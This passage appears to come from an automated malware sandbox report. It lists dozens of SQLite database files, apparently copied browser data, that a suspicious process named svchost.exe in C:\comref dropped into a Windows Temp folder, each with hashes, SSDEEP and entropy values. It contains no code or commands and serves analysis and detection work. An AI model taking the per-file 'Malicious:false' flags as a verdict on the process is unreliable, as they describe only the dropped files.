                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\AkqRp2Ge8M

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\AyqEtUXKye

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):49152
                                                                      Entropy (8bit):0.8180424350137764
                                                                      Encrypted:false
                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\AziYe9pDBp

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5707520969659783
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\B0yilvf5kU

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\B2uOGHK01U

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):49152
                                                                      Entropy (8bit):0.8180424350137764
                                                                      Encrypted:false
                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\BUQRUVfrSc

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):98304
                                                                      Entropy (8bit):0.08235737944063153
                                                                      Encrypted:false
                                                                      SSDEEP:12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
                                                                      MD5:369B6DD66F1CAD49D0952C40FEB9AD41
                                                                      SHA1:D05B2DE29433FB113EC4C558FF33087ED7481DD4
                                                                      SHA-256:14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
                                                                      SHA-512:771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\BhUlz8J71u

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.6732424250451717
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
                                                                      MD5:CFFF4E2B77FC5A18AB6323AF9BF95339
                                                                      SHA1:3AA2C2115A8EB4516049600E8832E9BFFE0C2412
                                                                      SHA-256:EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
                                                                      SHA-512:0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\Blx63pYwDF

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\BnjQ0FcnPP

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.6732424250451717
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
                                                                      MD5:CFFF4E2B77FC5A18AB6323AF9BF95339
                                                                      SHA1:3AA2C2115A8EB4516049600E8832E9BFFE0C2412
                                                                      SHA-256:EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
                                                                      SHA-512:0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\BrpsdrRBje

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\BtWvEF5Cgk

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\C80Q5PFGlw

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\C8QCKGwaTj

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\CF6DPXNm9G

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\CHmUH92VOe

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\CLvZRjH2Pd

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\CWKemlCsNX

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\CXoAMrDtDc

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\CbaOy4BYkd

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):1.3909341910495931
                                                                      Encrypted:false
                                                                      SSDEEP:48:ToyFawNLopFgU10XJBjKwsBjAFMtt/qEM0g9gingQeroAsaC7cUXt9P:cyxe8OwsiFMttSzefroYC7J9P
                                                                      MD5:1EB30D95ED94CA01369986C3811A0591
                                                                      SHA1:D7277FF6C5D5F55A4B0576045C2928D7501E7AFC
                                                                      SHA-256:CA8D4F98E4AD0ED1F66819E90024EB527A7A46DC26D84FB9FF5F1829B6331F46
                                                                      SHA-512:D5C8BA028977ABA2416D2C02D50FD2535F646003D8F443A01E00C6FC9385F16A6C051502D3947CABF592C619E3E0A22EC586AD57876E517C7B5BB749D396ABA7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\CjH2EQTl8T

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\D1Cp9d6zuD

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):51200
                                                                      Entropy (8bit):0.8746135976761988
                                                                      Encrypted:false
                                                                      SSDEEP:96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
                                                                      MD5:9E68EA772705B5EC0C83C2A97BB26324
                                                                      SHA1:243128040256A9112CEAC269D56AD6B21061FF80
                                                                      SHA-256:17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
                                                                      SHA-512:312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\Dr6iVd0OqW

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.848598812124929
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
                                                                      MD5:9664DAA86F8917816B588C715D97BE07
                                                                      SHA1:FAD9771763CD861ED8F3A57004C4B371422B7761
                                                                      SHA-256:8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
                                                                      SHA-512:E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\Dw3VsDmYSM

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\EAIsAQ62Mn

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
